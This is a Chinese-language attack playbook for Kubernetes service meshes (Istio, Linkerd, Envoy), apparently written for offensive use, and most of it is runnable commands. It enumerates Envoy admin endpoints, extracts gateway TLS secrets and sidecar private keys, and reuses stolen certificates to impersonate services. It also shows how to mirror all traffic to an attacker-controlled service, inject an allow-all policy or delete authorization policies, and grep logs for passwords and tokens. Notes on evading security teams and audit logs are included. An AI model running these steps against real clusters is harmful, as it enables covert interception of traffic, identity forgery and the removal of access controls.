servicemesh-tactics

# Service Mesh 攻击方法论（Istio/Linkerd/Envoy） Service Mesh 将网络通信逻辑下沉到 Sidecar 代理（Envoy/Linkerd-proxy），通过控制面（Istiod/Linkerd Control Plane）统一管理流量路由、mTLS、访问策略。攻击者视角：控制面是整个网格的"大脑"，拿到控制面配置等于掌握全部微服务拓扑；Sidecar 的 Admin 接口默认监听在 localhost，Pod 内即可访问；VirtualService/DestinationRule 等 CRD 控制着流量走向，有 RBAC 权限即可劫持或篡改路由。 ## 深入参考 完整的攻击命令、Envoy Admin API 端点清单、TLS 证书提取流程、AuthorizationPolicy 绕过模板： → 读 [references/attack-techniques.md](references/attack-techniques.md) ## Phase 1: 环境识别 确认 Service Mesh 类型、版本和部署范围，判断攻击面大小。 | 检测目标 | 命令 | 确认标志 | |---|---|---| | Istio 部署 | `kubectl get ns istio-system` | 命名空间存在 | | Istio 组件 | `kubectl get pods -n istio-system` | istiod、istio-ingressgateway | | Linkerd 部署 | `kubectl get ns linkerd` | 命名空间存在 | | Linkerd 组件 | `kubectl get pods -n linkerd` | linkerd-destination、linkerd-proxy-injector | | Sidecar 注入标签 | `kubectl get ns --show-labels \| grep injection` | `istio-injection=enabled` | | Pod 内 Sidecar | `kubectl get pod POD -o jsonpath='{.spec.containers[*].name}'` | 含 `istio-proxy` 或 `linkerd-proxy` | | Istio 版本 | `kubectl get deploy istiod -n istio-system -o jsonpath='{.spec.template.spec.containers[0].image}'` | 版本号影响可用漏洞 | **Pod 内快速判断（无 kubectl）：** ```bash # 检查进程 ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd' # 检查 Envoy Admin 是否可达 curl -s http://localhost:15000/server_info 2>/dev/null | head -5 # 检查 Linkerd Admin 是否可达 curl -s http://localhost:4191/metrics 2>/dev/null | head -5 # 检查 Istio 证书目录 ls -la /etc/certs/ /var/run/secrets/istio/ 2>/dev/null ``` ## Phase 2: 攻击决策树 ``` 发现 Service Mesh 环境 ├── 在 Pod 内（有 Sidecar） │ ├── Envoy Admin 可达（localhost:15000） │ │ ├── → Phase 3: 配置 dump / Cluster 枚举 / Listener 枚举 │ │ └── → Phase 3: 通过 /config_dump 获取全网格拓扑 │ ├── 通过 Sidecar 代理访问其他服务 │ │ └── → Phase 5: Service-to-Service 横向移动 │ └── /etc/certs/ 或 /var/run/secrets/istio/ 存在 │ └── → Phase 6: 导出 TLS 证书 → 中间人 / 身份伪造 │ ├── 有 K8s RBAC 权限（kubectl 可用） │ ├── 可读 VirtualService / DestinationRule │ │ └── → Phase 4: 流量路由窃取 / 服务拓扑绘制 │ ├── 可写 VirtualService / DestinationRule │ │ └── → Phase 4: 流量劫持（镜像到攻击者服务 / 修改路由权重） │ ├── 可读 Gateway │ │ └── → Phase 4: TLS 证书 Secret 提取 │ ├── 可读/写 AuthorizationPolicy │ │ └── → Phase 7: 策略绕过 / 删除策略 / 注入 allow-all │ └── 可读 ServiceEntry │ └── → Phase 4: 外部服务映射（出口流量分析） │ ├── Istio 控制面（istio-system） │ ├── Istiod 可达 → xDS API 枚举 │ ├── IngressGateway 暴露 → 入口攻击面 │ └── → Phase 4: istio-system 配置全面枚举 │ └── Linkerd 控制面（linkerd） ├── linkerd-destination 可达 ├── ServiceProfile 枚举 └── → Phase 8: Linkerd 特定攻击 ``` ## Phase 3: Envoy Admin 接口利用 Envoy Admin 默认监听 `localhost:15000`（Istio）或 `localhost:15001`，Pod 内无需认证即可访问。这是 Service Mesh 攻击中最快的信息收集路径。 **关键端点：** | 端点 | 用途 | 攻击价值 | |---|---|---| | `/clusters` | 上游集群列表 | 全部可达微服务地址与端口 | | `/config_dump` | 完整 Envoy 配置 | 路由规则、TLS 配置、全网格拓扑 | | `/listeners` | 监听器列表 | 入站/出站端口与过滤链 | | `/server_info` | Envoy 版本 | 版本对应已知漏洞 | | `/stats` | 统计信息 | 流量模式、活跃连接 | | `/certs` | TLS 证书信息 | 证书 SAN、有效期、CA 链 | | `/ready` | 就绪状态 | 确认 Envoy 运行正常 | ```bash # 核心枚举（Pod 内执行） curl -s http://localhost:15000/clusters | grep -E "^[a-z]" | head -30 curl -s http://localhost:15000/config_dump > /tmp/envoy_config.json curl -s http://localhost:15000/listeners curl -s http://localhost:15000/server_info curl -s http://localhost:15000/certs ``` **从 config_dump 提取关键信息：** ```bash # 提取所有上游服务地址 cat /tmp/envoy_config.json | python3 -c " import sys,json d=json.load(sys.stdin) for c in d.get('configs',[]): if 'dynamic_active_clusters' in c: for cl in c['dynamic_active_clusters']: name=cl.get('cluster',{}).get('name','') if name: print(name) " 2>/dev/null # 简化版：grep 提取服务名 grep -oP '"name":\s*"[^"]*svc\.cluster\.local[^"]*"' /tmp/envoy_config.json | sort -u ``` → 读 [references/attack-techniques.md](references/attack-techniques.md) 获取完整的 Envoy Admin API 利用命令 ## Phase 4: Istio 配置枚举与操控 通过 Istio CRD 了解全网格的流量路由和服务拓扑，有写权限时可劫持流量。 ### 4.1 配置窃取（只读） ```bash # VirtualService — 路由规则（哪些 URL 路由到哪些服务） kubectl get virtualservices --all-namespaces -o yaml # DestinationRule — 负载均衡策略、mTLS 配置 kubectl get destinationrules --all-namespaces -o yaml # Gateway — 入口配置、TLS 证书引用 kubectl get gateways --all-namespaces -o yaml # ServiceEntry — 外部服务白名单 kubectl get serviceentries --all-namespaces -o yaml # AuthorizationPolicy — 访问控制策略 kubectl get authorizationpolicies --all-namespaces -o yaml # PeerAuthentication — mTLS 模式（STRICT/PERMISSIVE/DISABLE） kubectl get peerauthentication --all-namespaces -o yaml ``` ### 4.2 Gateway TLS 证书提取 ```bash # 找到 Gateway 引用的 Secret kubectl get gateway -A -o yaml | grep -A 3 "credentialName" # 提取证书和私钥 kubectl get secret CERT_SECRET -n istio-system -o jsonpath='{.data.tls\.crt}' | base64 -d > /tmp/mesh-cert.pem kubectl get secret CERT_SECRET -n istio-system -o jsonpath='{.data.tls\.key}' | base64 -d > /tmp/mesh-key.pem openssl x509 -in /tmp/mesh-cert.pem -text -noout ``` ### 4.3 流量劫持（需要写权限） ```bash # 镜像流量到攻击者控制的服务（不影响正常流量，隐蔽窃取） cat <<'EOF' | kubectl apply -f - apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: mirror-attack namespace: TARGET_NS spec: hosts: - target-service http: - route: - destination: host: target-service mirror: host: attacker-service mirrorPercentage: value: 100.0 EOF ``` → 读 [references/attack-techniques.md](references/attack-techniques.md) 获取流量权重篡改和路由劫持模板 ## Phase 5: Service-to-Service 横向移动 在 Pod 内通过 Sidecar 代理（或绕过 Sidecar）访问网格中的其他微服务。 ```bash # 列出所有可达服务（从 Envoy clusters） curl -s http://localhost:15000/clusters | grep -oP '[\w.-]+\.[\w.-]+\.svc\.cluster\.local' | sort -u # 通过 Sidecar 代理访问目标服务 curl -s http://target-service.target-ns.svc.cluster.local:8080/api/endpoint # 内部端口探测 for svc in $(curl -s http://localhost:15000/clusters | grep -oP '[\w.-]+\.[\w.-]+\.svc\.cluster\.local' | sort -u); do echo "=== $svc ===" curl -s -o /dev/null -w "%{http_code}" "http://$svc/" --connect-timeout 2 done # 尝试访问控制面组件 curl -s http://istiod.istio-system.svc.cluster.local:15014/debug/endpointz curl -s http://istiod.istio-system.svc.cluster.local:15014/debug/configz ``` ## Phase 6: TLS 证书窃取与身份伪造 Service Mesh 使用 mTLS 进行服务间认证。窃取证书可以伪造服务身份或实施中间人攻击。 ```bash # Istio 证书位置（Pod 内） ls -la /etc/certs/ # 旧版 Istio ls -la /var/run/secrets/istio/ # 新版 Istio（SDS） # 提取证书链和私钥 cat /var/run/secrets/istio/root-cert.pem # CA 根证书 cat /var/run/secrets/istio/cert-chain.pem # 服务证书链 cat /var/run/secrets/istio/key.pem # 服务私钥 # 分析证书（提取 SPIFFE ID / 服务身份） openssl x509 -in /var/run/secrets/istio/cert-chain.pem -text -noout | grep -A 1 "Subject Alternative Name" # 典型输出: URI:spiffe://cluster.local/ns/NAMESPACE/sa/SERVICE_ACCOUNT # 使用窃取的证书访问其他服务（绕过 mTLS 认证） curl --cert /var/run/secrets/istio/cert-chain.pem \ --key /var/run/secrets/istio/key.pem \ --cacert /var/run/secrets/istio/root-cert.pem \ https://target-service:PORT/ ``` → 读 [references/attack-techniques.md](references/attack-techniques.md) 获取完整的证书利用与身份伪造命令 ## Phase 7: AuthorizationPolicy 绕过 Istio 的 AuthorizationPolicy 控制服务间的访问权限。攻击目标是削弱或消除这些限制。 ```bash # 枚举所有策略 kubectl get authorizationpolicies --all-namespaces -o yaml # 查找宽松策略（ALLOW 无条件） kubectl get authorizationpolicies -A -o yaml | grep -B 5 -A 10 "action: ALLOW" # 查找 PERMISSIVE 模式的 PeerAuthentication（mTLS 非强制） kubectl get peerauthentication -A -o yaml | grep -B 5 "mode: PERMISSIVE" ``` **有写权限时——注入 allow-all 策略：** ```yaml # 允许命名空间内所有流量（空 spec = allow all） apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: allow-all namespace: TARGET_NAMESPACE spec: {} ``` **有删除权限时——直接移除策略：** ```bash kubectl delete authorizationpolicy POLICY_NAME -n TARGET_NAMESPACE ``` ## Phase 8: Linkerd 特定攻击 ```bash # 枚举 Linkerd 配置 kubectl get configmap -n linkerd -o yaml kubectl get serviceprofiles --all-namespaces -o yaml # Linkerd Proxy Admin（Pod 内） curl -s http://localhost:4191/metrics curl -s http://localhost:4191/ready # Linkerd Dashboard（如果暴露） kubectl port-forward -n linkerd deploy/linkerd-web 8084:8084 # 访问 http://localhost:8084 查看全网格拓扑和流量 # Linkerd 证书提取 kubectl get secret -n linkerd | grep -i "tls\|cert\|ca" kubectl get secret linkerd-identity-issuer -n linkerd -o yaml ``` ## Phase 9: Telemetry 与日志利用 Service Mesh 的遥测组件（Prometheus、Jaeger、Kiali）可能暴露敏感的流量数据。 ```bash # 查看 Istio 访问日志（可能包含请求头、路径等敏感信息） kubectl logs -n istio-system deployment/istio-ingressgateway | head -50 kubectl logs -n TARGET_NS POD_NAME -c istio-proxy | grep -iE "password|secret|token|auth" # Prometheus（如果可达） curl -s "http://prometheus.istio-system:9090/api/v1/targets" | head curl -s "http://prometheus.istio-system:9090/api/v1/query?query=istio_requests_total" # Kiali（服务网格可视化） kubectl port-forward -n istio-system deploy/kiali 20001:20001 # 访问 http://localhost:20001 查看全网格拓扑、流量和配置 # Jaeger（分布式追踪） kubectl port-forward -n istio-system deploy/jaeger 16686:16686 # 访问 http://localhost:16686 查看请求链路追踪 ``` ## 工具速查 | 工具 | 用途 | 关键命令 | |---|---|---| | `kubectl` | K8s 资源操作 | `kubectl get virtualservices -A` | | `istioctl` | Istio 专用 CLI | `istioctl analyze`、`istioctl proxy-config` | | `curl` | Envoy Admin 接口 | `curl http://localhost:15000/clusters` | | `openssl` | 证书分析 | `openssl x509 -in cert.pem -text -noout` | | `linkerd` | Linkerd CLI | `linkerd check`、`linkerd viz dashboard` | | `tcpdump` | 流量抓取（Pod 内） | `tcpdump -i any -w /tmp/mesh.pcap` | ## 注意事项 **操作安全：** - 修改 VirtualService/DestinationRule 会立即影响线上流量，操作前务必记录原始配置 - 删除 AuthorizationPolicy 会暴露服务，增加被安全团队发现的风险 - Envoy Admin 接口的访问不会产生 Istio 审计日志，但 kubectl 操作会被 K8s Audit Log 记录 - 流量镜像（mirror）是最隐蔽的窃取方式，不影响正常请求响应 **mTLS 相关：** - 如果 PeerAuthentication 为 STRICT 模式，非网格内的流量会被拒绝 - PERMISSIVE 模式允许明文和 mTLS 混合——可以用明文直接访问服务 - 窃取的证书有效期通常较短（Istio 默认 24 小时），需要持续获取新证书 **Linkerd vs Istio：** - Linkerd 的 Proxy Admin 默认在 4191 端口，功能比 Envoy Admin 少 - Linkerd 没有 VirtualService/DestinationRule 等 CRD，使用 ServiceProfile 和 TrafficSplit - Linkerd 的 identity 证书默认有效期也较短